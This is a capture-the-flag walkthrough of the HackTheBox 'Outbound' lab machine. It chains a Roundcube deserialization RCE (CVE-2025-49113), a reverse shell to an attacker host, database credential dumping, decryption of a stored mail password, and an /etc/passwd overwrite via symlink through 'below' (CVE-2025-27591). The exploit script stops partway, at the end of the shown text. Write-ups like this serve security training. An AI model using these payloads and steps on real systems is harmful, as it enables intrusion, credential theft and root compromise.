RECON

Creds

Machine information:

As is common in real life pentests, you will start the Outbound box with credentials for the following account tyler / LhKL1o9Nm3X2

Port Scan

$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
|   256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open  http    syn-ack nginx 1.24.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP traffic gets seamlessly funneled to http://mail.outbound.htb/ via a redirect.

Port 80

Port 80 hosts a Roundcube Webmail instance, accessible with the pre-supplied credentials: tyler / LhKL1o9Nm3X2.

htb_outbound_1

The setup rings a familiar bell—echoes of DarkCorp, where version 1.6.7 was in play. This time, we're dealing with a bumped release: 1.6.10, laced with high-value plugins—file compression, filesystem access, and upload capabilities. A wider attack surface, ripe for exploitation.

WEB

CVE‑2025‑49113

Post‑Auth RCE

The presence of upload-centric plugins is a red flag—this reeks of a classic upload-based RCE. A quick recon confirms it: CVE‑2025‑49113 hits the mark.

  • Affected versions: all Roundcube releases before 1.5.10 and 1.6.0 to 1.6.10
  • The flaw stems from improper sanitization of the _from GET parameter in program/actions/settings/upload.php, enabling PHP object deserialization

This is a textbook Post‑Auth Remote Code Execution—a perfect match for our scenario. The attack flow is razor-sharp:

  1. Log in using valid Roundcube credentials.
  2. Abuse file upload by tampering with the _from parameter and injecting a serialized payload.
  3. The backend unserializes user-controlled data, leading to arbitrary code execution via crafted PHP objects.

Upload endpoint reveals itself during file attachment to emails:

htb_outbound_2

Several PoCs are in the wild—including a tailored Metasploit module: roundcube_auth_rce_cve_2025_49113. It's plug-and-pwn from here.

PHP Deserialization

For a deeper dive, the OffSec research offers a solid breakdown—classic PHP deserialization, unearthed through meticulous code auditing. Dropped just a month ago, and already weaponized.

An active PoC is available on GitHub—plug-and-play.

Spin up a listener, then fire off the payload:

Bash
php CVE-2025-49113.php http://mail.outbound.htb \
		tyler LhKL1o9Nm3X2 \
		"bash -c 'sh -i >& /dev/tcp/$attacker_ip/4444 0>&1'"

Smooth execution:

htb_outbound_3

To establish a stable shell, we can run:

Bash
script -c /bin/bash /dev/null

We've got our initial compromise—www-data, namely the web root user.

USER

Enum

First things first—once inside as www-data, we pivot into config file reconnaissance, as always.

Found /var/www/html/roundcube/config/config.inc.php:

PHP
<?php

/*
 +-----------------------------------------------------------------------+
 | Local configuration for the Roundcube Webmail installation.           |
 |                                                                       |
 | This is a sample configuration file only containing the minimum       |
 | setup required for a functional installation. Copy more options       |
 | from defaults.inc.php to this file to override the defaults.          |
 |                                                                       |
 | This file is part of the Roundcube Webmail client                     |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+
*/

$config = [];

// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
//       or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';

// IMAP host chosen to perform the log-in.
// See defaults.inc.php for the option description.
$config['imap_host'] = 'localhost:143';

// SMTP server host (for sending mails).
// See defaults.inc.php for the option description.
$config['smtp_host'] = 'localhost:587';

// SMTP username (if required) if you use %u as the username Roundcube
// will use the current username for login
$config['smtp_user'] = '%u';

// SMTP password (if required) if you use %p as the password Roundcube
// will use the current user's password for login
$config['smtp_pass'] = '%p';

// provide an URL where a user can get support for this Roundcube installation
// PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE!
$config['support_url'] = '';

// Name your service. This is displayed on the login screen and in the window title
$config['product_name'] = 'Roundcube Webmail';

// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

// List of active plugins (in plugins/ directory)
$config['plugins'] = [
    'archive',
    'zipdownload',
];

// skin name: folder from skins/
$config['skin'] = 'elastic';
$config['default_host'] = 'localhost';
$config['smtp_server'] = 'localhost';

Database Credentials:

  • User: roundcube
  • Pass: RCDBPass2025
  • Host: localhost
  • DB: roundcube

IMAP / SMTP Host Info:

  • IMAP host: localhost:143
  • SMTP host: localhost:587
  • SMTP user: %u
  • SMTP pass: %p

Mailstack live check:

www-data@mail:/$ ps aux | grep dovecot
ps aux | grep dovecot
root        8810  0.0  0.0   8544  2848 ?        Ss   02:53   0:00 /usr/sbin/dovecot -c /etc/dovecot/dovecot.conf
dovecot     8811  0.0  0.0   5024  2944 ?        S    02:53   0:00 dovecot/anvil
root        8812  0.0  0.0   5164  3072 ?        S    02:53   0:00 dovecot/log
root        8813  0.0  0.1   7696  4736 ?        S    02:53   0:00 dovecot/config
www-data    8884  0.0  0.0   3528  1664 pts/0    S+   02:58   0:00 grep dovecot

www-data@mail:/$ ps aux | grep postfix
ps aux | grep postfix
root         557  0.0  0.1  42856  4496 ?        Ss   Jul12   0:00 /usr/lib/postfix/sbin/master -w
postfix      559  0.0  0.1  42924  7296 ?        S    Jul12   0:00 qmgr -l -t unix -u
postfix     8599  0.0  0.1  42884  7168 ?        S    02:42   0:00 pickup -l -t unix -u -c
www-data    8886  0.0  0.0   3528  1792 pts/0    S+   02:58   0:00 grep postfix

dovecot (confirms IMAP service) and postfix (confirms SMTP service) are alive and kicking.

Additionally, %u and %p mean Roundcube reuses user-supplied creds for SMTP. So if we compromise a user account via RCE or DB dump, we can send/read mails as that user.

Encryption Key:

  • Des key: rcmail-!24ByteDESkey*Str

This is used to encrypt IMAP passwords stored in PHP sessions or database. If we access to session or users table, we can decrypt saved IMAP passwords.

DB Breach

TTherefore, first step: connect to the local MySQL instance using discovered creds:

Bash
mysql -u roundcube -pRCDBPass2025 -h localhost roundcube
htb_outbound_4

Inspect the users table:

MariaDB [roundcube]> SELECT * FROM users;

+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+---------------------------------------------------+
| user_id | username | mail_host | created             | last_login          | failed_login        | failed_login_counter | language | preferences                                       |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+---------------------------------------------------+
|       1 | jacob    | localhost | 2025-06-07 13:55:18 | 2025-06-11 07:52:49 | 2025-06-11 07:51:32 |                    1 | en_US    | a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";} |
|       2 | mel      | localhost | 2025-06-08 12:04:51 | 2025-06-08 13:29:05 | NULL                |                 NULL | en_US    | a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";} |
|       3 | tyler    | localhost | 2025-06-08 13:28:55 | 2025-07-13 02:44:06 | 2025-06-11 07:51:22 |                    1 | en_US    | a:1:{s:11:"client_hash";s:16:"Y2Rz3HTwxwLJHevI";} |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+---------------------------------------------------+

We now see two more players: jacob and mel. jacob shows failed logins—possible brute or outdated creds? preferences field contains harmless serialized config (client_hash), not auth material.

Since we have the encryption key found, we would look up the session table to see if there's any stored PHP sessions:

MariaDB [roundcube]> SELECT * FROM session;

+----------------------------+---------------------+------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| sess_id                    | changed             | ip         | vars                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+----------------------------+---------------------+------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 6a5ktqih5uca6lj8vrmgh9v0oh | 2025-06-08 15:46:40 | 172.17.0.1 | bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7 |
+----------------------------+---------------------+------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.000 sec)

This is a stored IMAP password. And we've already got the DES key from earlier:

PHP
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

With both the password field and des_key, we're primed to decrypt the IMAP credentials and hijack the mailbox.

Decrypt

Base64-decode the vars column:

Bash
echo 'bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7' \
		| base64 -d > decoded_session.txt

This will give us a PHP serialized array. From the parsed result, we found:

username|s:5:"jacob"
password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"

This is the encrypted IMAP password, base64 encoded, for user jacob.

Method 1

Roundcube's decryption logic is defined in rcube.php at line 943.

PHP
public function decrypt($cipher, $key = 'des_key', $base64 = true)
{
    ...

	// base64 decode
    if ($base64) {
        $cipher = base64_decode($cipher, true);
        if ($cipher === false) {
            return false;
        }
    }

    // des_key from config
    $ckey = $this->config->get_crypto_key($key);
    // by default, 'DES-EDE3-CBC'
    $method = $this->config->get_crypto_method();
    // typically 8 for 3DES
    $iv_size = openssl_cipher_iv_length($method);

    ...

	// IV is embedded in the ciphertext
    $iv = substr($cipher, 0, $iv_size);
	
    ...

    // Decrypt with PHP's `openssl_decrypt()`
    $cipher = substr($cipher, $iv_size);
    $clear = openssl_decrypt($cipher, $method, $ckey, \OPENSSL_RAW_DATA, $iv, $tag);

    return $clear;
}

By default, Roundcube uses 3DES (DES-EDE3-CBC) for encryption. So we can just simply modify the PHP function to decrypt:

PHP
<?php
$data = base64_decode('L7Rv00A8TuwJAr67kITxxcSgnIk25Am/');
$key = 'rcmail-!24ByteDESkey*Str';
$iv = substr($data, 0, 8);
$cipher = substr($data, 8);

$clear = openssl_decrypt($cipher, 'DES-EDE3-CBC', $key, OPENSSL_RAW_DATA, $iv);
echo "Decrypted: $clear\n";
?>

Run it and we have:

Decrypted: 595mO8DmwGeD

Method 2

When searching decryption Roundcube password on the Internet, we found Roundcube ships a general-purpose decryptor in bin/decrypt.sh on the official Github repo:

PHP
#!/usr/bin/env php
<?php

/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Decrypt the encrypted parts of the HTTP Received: headers           |
 +-----------------------------------------------------------------------+
 | Author: Tomas Tevesz <[email protected]>                                 |
 +-----------------------------------------------------------------------+
*/

/*
 * If http_received_header_encrypt is configured, the IP address and the
 * host name of the added Received: header is encrypted with 3DES, to
 * protect information that some could consider sensitive, yet their
 * availability is a must in some circumstances.
 *
 * Such an encrypted Received: header might look like:
 *
 * Received: from DzgkvJBO5+bw+oje5JACeNIa/uSI4mRw2cy5YoPBba73eyBmjtyHnQ==
 *  [my0nUbjZXKtl7KVBZcsvWOxxtyVFxza4]
 *  with HTTP/1.1 (POST); Thu, 14 May 2009 19:17:28 +0200
 *
 * In this example, the two encrypted components are the sender host name
 * (DzgkvJBO5+bw+oje5JACeNIa/uSI4mRw2cy5YoPBba73eyBmjtyHnQ==) and the IP
 * address (my0nUbjZXKtl7KVBZcsvWOxxtyVFxza4).
 *
 * Using this tool, they can be decrypted into plain text:
 *
 * $ bin/decrypt.sh 'my0nUbjZXKtl7KVBZcsvWOxxtyVFxza4' \
 * > 'DzgkvJBO5+bw+oje5JACeNIa/uSI4mRw2cy5YoPBba73eyBmjtyHnQ=='
 * 84.3.187.208
 * 5403BBD0.catv.pool.telekom.hu
 * $
 *
 * Thus it is known that this particular message was sent by 84.3.187.208,
 * having, at the time of sending, the name of 5403BBD0.catv.pool.telekom.hu.
 *
 * If (most likely binary) junk is shown, then
 *  - either the encryption password has, between the time the mail was sent
 *    and 'now', changed, or
 *  - you are dealing with counterfeit header data.
 */
 
define('INSTALL_PATH', realpath(__DIR__ . '/..') . '/');

require INSTALL_PATH . 'program/include/clisetup.php';

if ($argc < 2) {
    exit('Usage: ' . basename($argv[0]) . " encrypted-hdr-part [encrypted-hdr-part ...]\n");
}

$RCMAIL = rcube::get_instance();

for ($i = 1; $i < $argc; $i++) {
    printf("%s\n", $RCMAIL->decrypt($argv[$i]));
}

Despite the misleading comments about "Received headers," the underlying decrypt function rcube::decrypt() is general-purpose and is used across Roundcube, same as the one defined in rcube.php.

On the server, the script is under:

/var/www/html/roundcube/public_html/roundcube/bin/decrypt.sh

We can use it to decrypt the base64 encoded encrypted password directly:

www-data@mail:/$ /var/www/html/roundcube/public_html/roundcube/bin/decrypt.sh 'L7Rv00A8TuwJAr67kITxxcSgnIk25Am/'

595mO8DmwGeD

Same result.

IMAP Access

Session data hints at 2 emails in Jacob's inbox:

s:5:"INBOX";i:2

Armed with the decrypted password 595mO8DmwGeD and the known username (jacob), we now have valid IMAP credentials to access his mailbox.

Among those 2 emails, we see a password reset:

htb_outbound_5

Reuse the password gY4Wr3a1evp4 for SSH login as user jacob:

htb_outbound_6

User flag captured.

ROOT

Sudo | below

Check sudo privilege:

jacob@outbound:~$ sudo -l

Matching Defaults entries for jacob on outbound:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*

below is a TUI performance monitoring tool for Linux systems, written in Rust. It's like htop, but built around perf and stores recordings:

htb_outbound_7

Check command help manual:

jacob@outbound:~$ below -h
Usage: below [OPTIONS] [COMMAND]

Commands:
  live      Display live system data (interactive) (default)
  record    Record local system data (daemon mode)
  replay    Replay historical data (interactive)
  debug     Debugging facilities (for development use)
  dump      Dump historical data into parseable text format
  snapshot  Create a historical snapshot file for a given time range
  help      Print this message or the help of the given subcommand(s)

Options:
      --config <CONFIG>  [default: /etc/below/below.conf]
  -d, --debug
  -h, --help             Print help

To be notice, the sudo rules forbid us to run anything using:

  • --config
  • --debug
  • -d

CVE-2025-27591

Search a bit on the Internet, we see CVE-2025-27591, which ties directly into our sudo permissions for below.

below versions before 0.9.0 create the directory /var/log/below/ with world-writable permissions:

htb_outbound_8

A local attacker (non-root) could then:

  • Replace /var/log/below/some.log with a symlink to a root-owned file (e.g. /etc/shadow, /etc/sudoers, /root/.ssh/authorized_keys)
  • Run sudo below ... to force the privileged binary to write logs into the symlink
  • Trample root-owned files and escalate privileges

The logrotate.conf in the repository:

/var/log/below/error_*.log {
    daily
    rotate 14
    maxage 14
    copytruncate
    compress
    notifempty
    missingok
    create 0644 root root
    su root root
}

…confirms it uses error_*.log files stored under /var/log/below/.

Write Primitive

Our target: abuse sudo below to coerce root into writing attacker-controlled data to root-owned logs—even when restricted flags like --config or --debug are off-limits.

logging.rs sets the trap. At line 35, it uses:

Rust
pub fn setup(init: InitToken, path: PathBuf, debug: bool) -> slog::Logger {
    let file = match OpenOptions::new().create(true).append(true).open(path) {
        ...
    };

    setup_log(init, file, debug)
}

This setup function opens a file at the provided path (which defaults to /var/log/below/error_*.log). Then it calls setup_log internally to write the logs.

This blindly follows symlinks, creates the file if missing, and appends to it—symlink race or pre-creation overwrite becomes viable.

So we pivot to main.rs and inspect how subcommands invoke the logger, starting at line 876.

Among many options, replay, the first occurrent from the code, provides a clean exploit path—here's the breakdown (annotated):

Rust
fn replay(
    logger: slog::Logger,	// initialze logger instance
    errs: Receiver<Error>,
    time: String,			// user-controlled --time argument
    below_config: &BelowConfig,
    host: Option<String>,
    port: Option<u16>,
    days_adjuster: Option<String>,
    snapshot: Option<String>,
) -> Result<()> {
    // Parse user-supplied --time into a timestamp (this can fail) 
    let timestamp =
        cliutil::system_time_from_date_and_adjuster(time.as_str(), days_adjuster.as_deref())?;
    
    // If malformed (e.g., non-date input)
    // this returns Err(...) containing the "time" string.

    ...

    let model = match advance.jump_sample_to(timestamp) {
        Some(m) => m,
        // [!] If no matching snapshot sample found
        // `bail!` simply returns Err.
        None => bail!(
            "No initial sample could be found!\n\
            You may have provided a time in the future or no data was recorded during the provided time. \
            Please check your input and timezone.\n\
            If you are using remote, please make sure the below service on target host is running."
        ),
    };

    ...
    
	// No log is triggered here — but that Err is passed back to run()
    view.run()
}

This function takes the user-controlled --time input and tries to parse it. If invalid, it throws an error string containing our input—a log poisoning primitive.

The actual write to log occurs in the last line — view.run(), which wraps the subcommand execution, defined at line 555:

Rust
pub fn run<F>(
    init: init::InitToken,
    debug: bool,
    below_config: &BelowConfig,	// holds log_dir  →  "/var/log/below"
    _service: Service,
    command: F,					// closure wrapping the chosen sub-command
) -> i32
where
    F: FnOnce(init::InitToken, &BelowConfig, slog::Logger, Receiver<Error>) -> Result<()>,
{
    let (err_sender, err_receiver) = channel();
    
    // Builds the full log file path `/var/log/below/below.log`
    let log_path = below_config.log_dir.join("below.log");
    
    // [1] Exploit sink #1
    // Open the logfile with create+append, following any symlink
    let logger = logging::setup(init, log_path, debug);
    setup_log_on_panic(logger.clone());

    // Execute the chosen sub-command (e.g.,  replay())
    // Any Err returned will be caught below.
    let res = command(init, below_config, logger.clone(), err_receiver);

    match res {
        Ok(_) => 0,                                    // normal exit, no exploit
        Err(e) if e.is::<StopSignal>() => {            // signal path
            error!(logger, "{:#}", e);                 // [2] Exploit sink #2
            0
        }
        Err(e) => {
            
            ...
            
            // [3] Exploit sink #3
            // Write attacker-influenced error to logfile ──
            // If replay() failed to parse `--time`, `e` contains that
            // controlled string and is written as root to below.log.
            error!(
                logger,
                "\n----------------- Detected unclean exit ---------------------\n\
                Error Message: {:#}\n\
                -------------------------------------------------------------",
                e
            );           
            1
        }
    }
}

Three logging sinks exist. If our malicious input triggers an error, it's formatted and logged—giving us a powerful write primitive with root context.

To validate this, we pass a malformed date string into --time, and observe the result:

Bash
sudo below replay --time 'hello from axura'

As expected, our input lands in /var/log/below/error_root.log, written by root. The string is also echoed to stderr.

htb_outbound_9

Therefore, with newline injection, we can poison system-critical files.

Other subcommands such as live, record, dump, and debug also pass through the their logging logic—offering multiple exploit vectors.

Exploit

With root-level arbitrary writes, several privilege escalation paths are viable: injecting a root user into /etc/passwd, overwriting /etc/shadow, or dropping an SSH private key into /root/.ssh.

The heart of the exploit is a simple symlink: link /var/log/below/error_root.log to a target like /etc/passwd. Once below logs an attacker-controlled message, it overwrites the victim file as root.

We can finish the exploit with a script:

Bash
#!/usr/bin/env bash
# Author : Axura
# CVE-2025-27591 – Below ≤ 0.9.0 world-writable log directory
# Goal   : add a root-equivalent user “axura” (password = Axura@4sure)
# Method : point /var/log/below/error_root.log → /etc/passwd

# set -x

# ── paths & constants ───────────────────────────────────────────────────────
TARGET="/etc/passwd"                           # victim file
LINK="/var/log/below/error_root.log"           # logfile opened by root
USER="axura"
PASS="Axura@4sure"

echo "[*] CVE-2025-27591 – add $USER to $TARGET"

# 0‒ make sure we can run Below with sudo
